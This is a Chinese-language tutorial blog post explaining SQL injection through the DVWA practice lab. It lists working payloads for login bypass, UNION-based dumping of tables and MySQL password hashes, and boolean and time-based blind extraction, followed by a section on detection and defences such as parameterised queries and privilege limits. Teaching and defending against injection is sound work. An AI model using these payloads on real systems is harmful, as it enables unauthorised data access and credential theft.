用实际案例详解SQL注入的原理和如何防范注入攻击

SQL注入简介

         SQL注入是网站存在最多也是最简单的漏洞,主要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤、转义、限制或处理不严谨,导致攻击者可以通过输入精心构造的字符串去非法获取到数据库中的数据。本文以免费开源数据库MySQL为例,看懂本文需要了解基本SQL语句。


SQL注入原理

       一般用户登录用的SQL语句为:SELECT * FROM user WHERE username='admin' AND password='passwd',此处admin和passwd分别为用户输入的用户名和密码,如果程序员没有对用户输入的用户名和密码做处理,就可以构造万能密码成功绕过登录验证,如用户输入'or 1#,SQL语句将变为:SELECT * FROM user WHERE username=''or 1#' AND password='',

‘’or 1为TRUE,#注释掉后面的内容,所以查询语句可以正确执行。我们可以使用DVWA来测试一下。

打开DVWA也面,登录,然后修改DVWA Security等级为Low点击submit,如图:

然后点击左侧SQL Injection,出现一个输入ID查数据的文本框,点击网站右下角的View Source可查看源代码,如图

       可以看到SQL语句为SELECT first_name, last_name FROM users WHERE user_id = '$id';用户输入的字符串存在$id变量中,可以看到上面没有任何处理用户输入的字符串的函数,因此可以肯定这里存在SQL注入,我们仍然可以输入'or 1#,使SQL语句变为:SELECT first_name, last_name FROM users WHERE user_id = ''or 1#';从而查询到所有的first_name和last_name,如图:

SQL注入分类及判断

        事实上SQL注入有很多种,按数据类型可以分为数字型、字符型和搜索型,按提交方式可分为GET型,POST型,Cookie型和HTTP请求头注入,按执行效果有可以分为报错注入、联合查询注入、盲注和堆查询注入,其中盲注又可分为基于bool的和基于时间的注入。从查询语句及可看出来这里是字符型的注入同时也是GET型注入和表单注入,数字型注入查询语句为:SELECT * FROM user WHERE id=1,搜索型注入为查询语句为:SELECT * FROM user WHERE search like '%1%'。

        在知道查询语句的情况下我们很容易辨别是否存在注入及注入类型,很多时候我们并不知道查询语句是什么,所以我们可以这样判断,在URL或者表单中输入一个单引号或者其他特殊符号,页面出现错误说明此页面存在SQL注入,如果页面正常显示说明有字符被过滤或者不存在注入,读者可自行测试,如果存在注入可以进一步判断注入类型,在URL或者表单中输入0 or 1,如果可以查到数据,说明是数字型注入,如果输入0'or 1#,查到数据说明是字符型注入,方法不唯一。总之数字型注入不需要使用单引号闭合前面的单引号就可以执行SQL语句,而字符型必须闭合前面的单引号,然后才可以执行SQL语句,同时也需要把后面的单引号闭合,而注释就是很好的一种闭合后面的单引号的方法。

         GET型注入很容易从URL中看出来,如图,网页的URL为:http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1,浏览器通常使用?来表示GET方法传递参数,而使用POST传递参数是不会显示到URL中的,因此URL中含有?说明就是使用GET方法传递参数,如图:

SQL注入方法

      注入方法可以直接在URL中提交注入语句,需要注意的是,在URL提交SQL语句,需要将注释符#进行URL编码,有时候所有SQL语句都需要URL编码,如图:

联合查询注入

        POST型注入和Cookie注入需要插件和工具才可进行,以后在介绍,联合查询注入也是用的非常多的,可以在URL中提交SQL语句,也可以在表单提交,联合查询相当于把别的表的数据查询结果显示到当前表,使用联合查询时,必须使得两张表的表结构一致,因此我们需要判断当前表的列数有多少列,此外还需知道是字符型注入还是数字型注入,由前面实验可知这是字符型注入,所以我们闭合前面的单引号,构造联合注入语句,输入1'order by 1#,页面正常,然后输入1'order by 2#,依次增加,直到3时出现错误,如图,说明当前表有2列:

接着我们构造联合查询语句暴露查询列显示在网页的位置:'union select 1,2#;

             接着构造联合查询语句查询当前数据库用户和数据库名,结果会显示在上图对应的位置:'union select user(),database()#;

        我们知道每个MySQL数据库中都有数据库的information表和user表,而所有的数据库信息全部存储在information表中,MySQL的用户名和密码存储在mysql中的user表中,所以我们可以使用information表来查询到所有的数据,查询当前数据库所有数据:表:'union select 1,table_name from information_schema.tables where table_schema=database()#;

查询当前数据库下数据表名为abc的所有字段:'union select 1,column_name from information_schema.columns where table_name='abc'#;

查询当前数据库下数据表abc的字段user的数据:'union select 1,user from abc#;

查询MySQL的root用户和密码hash值:'union select user,authentication_string from mysql.user#,如图:

基于bool的盲注

     上面这些注入方法都需要网页可以显示查询数据的结果,而盲注适合页面不显示任何数据查询结果,基于bool的盲注就是页面只有正常和不正常两种情况,通过true和false来猜解数据,速度比较慢,基于bool的盲注通常用函数length()  返回长度,ascii() 返回ASCII值,substr(string,a,b)  返回string以a开头  长度为b的字符串,count()   返回数量。

点击DVWA页面的SQL Injection(Blind),随便输入数字发现只有两种显示结果,符合bool注入条件,构造语句猜测当前数据库名长度是否大于5:1' and length(database())>5#,如图:

如上图所示,说明当前数据库长度是小于5 的,用二分法继续构造:1' and length(database())>3#;

        显然长度大于3却不大于5,当前数据库名长度就是4,然后判断数据库名第一个字符ASCII是否大于97:1'and (ascii(substr(database(),1,1)))>97#,依旧使用二分法慢慢判断,最终确定为ASCII为100,对应字符为:d;

        然后判断数据库名第二个字符ASCII是否大于97:1'and (ascii(substr(database(),2,1)))>97#,最终确定ASCII为118,对应字符:v,同上步骤继续,最终确定当前数据库为:dvwa;

       然后判断当前数据库中数据表的个数:1'and (select count(*) from information_schema.tables where table_schema=database())>3#,这个步骤可以有也可以没有,看完下面就知道了;

       然后判断当前数据库中第一个数据表的长度是否大于5:1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5#,结果如图:

      原理同上面判断数据库长度,最后得到当前数据库的第一个数据表的长度,获取第二个表的长度:1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>5#,第三个,第四个以此类推,当第N个数据表长度大于0返回为假时,说明这个数据表不存在;

      然后猜解当前数据库的第一个数据表第一个字符的ASCII:1'and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97#,结果为103,对应字符:g;

      然后猜解当前数据库的第一个数据表第二个字符的ASCII:1'and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)))>97#,结果为117,对应字符:u,

第三个,第四个字符以此类推直到猜解完毕;

     然后猜解当前数据库中数据表users的列数:1'and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')>3#,同样,这个步骤也是可以省略的;

     然后猜解当前数据库中数据表users第一列的长度:1'and (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)>5#,当大于0为假,说明此列不存在;

     然后猜解当前数据库数据表users第一列字段第一个字符:1'and (ascii(substr(select column_name from information_schema.columns where table_name='users') limit 0,1),1,1)>97#,然后依次猜解完全部字段。

基于时间的盲注

       基于时间的盲注和基于bool的盲注很相似,只不过基于时间的盲注用于不管执行的SQL语句正确与否,页面都不会给任何提示,因此无法使用bool盲注。基于时间的盲注经常用到的函数除了上面的还有延时函数sleep(),if(c,a,b),如果c为真执行a,否则执行b。

猜解当前数据库名的长度,如果长度大于0就会延时5s:1'and if(length(database())>0,sleep(5),0)#,如图:

      然后猜解当前数据库中数据表的个数:1'and if((select count(*) from information_schema.tables where table_schema=database())>3,sleep(3),0)#;

      然后猜解当前数据库中的第一个数据表第一个字符的ASCII:1'and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97,sleep(3),0)#,同bool注入的步骤一样,只是注入语句有点差异,类比上面的语句即可猜解数所有数据。

如何防范注入攻击

检测技术

       SQL注入的检测方式目前主要有两大类,第一:动态监测,即在系统运行时,通常在系统验收阶段或上线运行阶段使用该方法,使用动态监测攻击对其系统进行扫描,然后依据扫描结果判断是否存在SQL注入漏洞。第二:静态检测,又称静态代码扫描,对代码做深层次分析。 

1、动态检测

动态监测分为两类:手工监测以及工具监测。相对于手动监测的高成本以及高漏检率,在实际生产过程中更偏向于工具监测,但工具监测同样存在较大的局限性。其原因在于工具是用报文来判断SQL注入是否生效,然而仅仅通过报文是很难精准地判断SQL注入是否存在,因此存在较高的误报率。 [5]

2、静态检测

静态检测的误报率相对较低,其主要原因在于SQL注入漏洞的代码特征较为明显。

(1)使用数据库交互代码; 

(2)使用字符串拼接方式构造动态SQL语句;

(3)使用未过滤的不可信任数据。

在常规的排查应用系统中是否存在SQL注入漏洞时,由于静态扫描的代码特征明显,误报率低和直接阅读相关代码,工作总量减少的优势,通常使用静态扫描。 

注入防范措施

       SQL注入攻击的危害很大,而且防火墙很难对攻击行为进行拦截,主要的SQL注入攻击防范方法,具体有以下几个方面。 

1、分级管理

对用户进行分级管理,严格控制用户的权限,对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限。例如上述实例中用户在查询语句中加入了drop table。肯定是不能让其执行的,否则系统的数据库安全性就无法保障。故而通过权限的设计限制。使得即使恶意攻击者在数据提交时嵌入了相关攻击代码。但因为设置了权限,从而使得代码不能执行。从而减少SQL注入对数据库的安全威胁。

2、参数传值

程序员在书写SQL语言时,禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。从而抑制SQL注入。数据输入不能直接嵌入到查询语句中。同时要过滤输入的内容,过滤掉不安全的输入数据。或者采用参数传值的方式传递输入变量。这样可以最大程度防范SQL注入攻击。

3、基础过滤与二次过滤

SQL注入攻击前,入侵者通过修改参数提交“and”等特殊字符,判断是否存在漏洞,然后通过select、update等各种字符编写SQL注入语句。因此防范SQL注入要对用户输入进行检查,确保数据输入的安全性,在具体检查输入或提交的变量时,对于单引号、双引号、冒号等字符进行转换或者过滤,从而有效防止SQL注入。当然危险字符有很多,在获取用户输入提交的参数时,首先要进行基础过滤,然后根据程序的功能及用户输入的可能性进行二次过滤,以确保系统的安全性。

4、使用安全参数

SQL数据库为了有效抑制SQL注入攻击的影响。在进行SQLServer数据库设计时设置了专门的SQL安全参数。在程序编写时应尽量使用安全参数来杜绝注入式攻击。从而确保系统的安全性。 

SQLServer数据库提供了Parameters集合,它在数据库中的功能是对数据进行类型检查和长度验证,当程序员在程序设计时加入了Parameters集合,系统会自动过滤掉用户输入中的执行代码,识别其为字符值。如果用户输入中含有恶意的代码,数据库在进行检查时也能够将其过滤掉。同时Parameters集合还能进行强制执行检查。一旦检查值超出范围。系统就会出现异常报错,同时将信息发送系统管理员,方便管理员做出相应的防范措施。

5、漏洞扫描

为了更有效地防范SQL注入攻击,作为系统管理除了设置有效的防范措施,更应该及时发现系统存在SQL攻击安全漏洞。系统管理员可以通过采购一些专门系统的SQL漏洞扫描工具,通过专业的扫描工具,可以及时的扫描到系统存在的相应漏洞。虽然漏洞扫描工具只能扫描到SQL注入漏洞,不能防范SQL注入攻击。但系统管理员可以通过扫描到的安全漏洞,根据不同的情况采取相应的防范措施封堵相应的漏洞,从而把SQL注入攻击的门给关上,从而确保系统的安全。 

6、多层验证

现在的网站系统功能越来越庞大复杂。为确保系统的安全,访问者的数据输入必须经过严格的验证才能进入系统,验证没通过的输入直接被拒绝访问数据库,并且向上层系统发出错误提示信息。同时在客户端访问程序中验证访问者的相关输入信息,从而更有效的防止简单的SQL注入。但是如果多层验证中的下层如果验证数据通过,那么绕过客户端的攻击者就能够随意访问系统。因此在进行多层验证时,要每个层次相互配合,只有在客户端和系统端都进行有效的验证防护,才能更好地防范SQL注入攻击。

7、数据库信息加密

传统的加解密的方法大致可以分为三种: 

(1)对称加密:即加密方和解密方都使用相同的加密算法和密钥,这种方案的密钥的保存非常关键,因为算法是公开的,而密钥是保密的,一旦密匙泄露,黑客仍然可以轻易解密。常见的对称加密算法有:AES、DES等。 

(2)非对称加密:即使用不同的密钥来进行加解密,密钥被分为公钥和私钥,用私钥加密的数据必须使用公钥来解密,同样用公钥加密的数据必须用对应的私钥来解密,常见的非对称加密算法有:RSA等。 

(3)不可逆加密:利用哈希算法使数据加密之后无法解密回原数据,这样的哈希算法常用的有:md5、SHA-1等。

总结

       这里只带领大家掌握SQL注入的原理及常见的几种SQL注入的形成原因及利用方法,后面遇见在详解其他方法。有很多讲SQL注入的书,个人认为Justin Clarke写的《SQL注入攻击与防御》很不错,类似的书还有很多,如果想自己深入学习,可以寻找适合自己的书。相信大家通过本篇已掌握SQL注入原理、相应类型的注入的方法以及如何防范注入攻击。那么SQL注入的一般步骤为:

  1. 测试网页是否存在SQL注入
  2. 判断SQL注入类型
  3. 利用SQL语句查询数据库当前用户及数据库
  4. 利用SQL语句查询表名、列名、字段名以及字段值

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

杰克说

你的鼓励是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值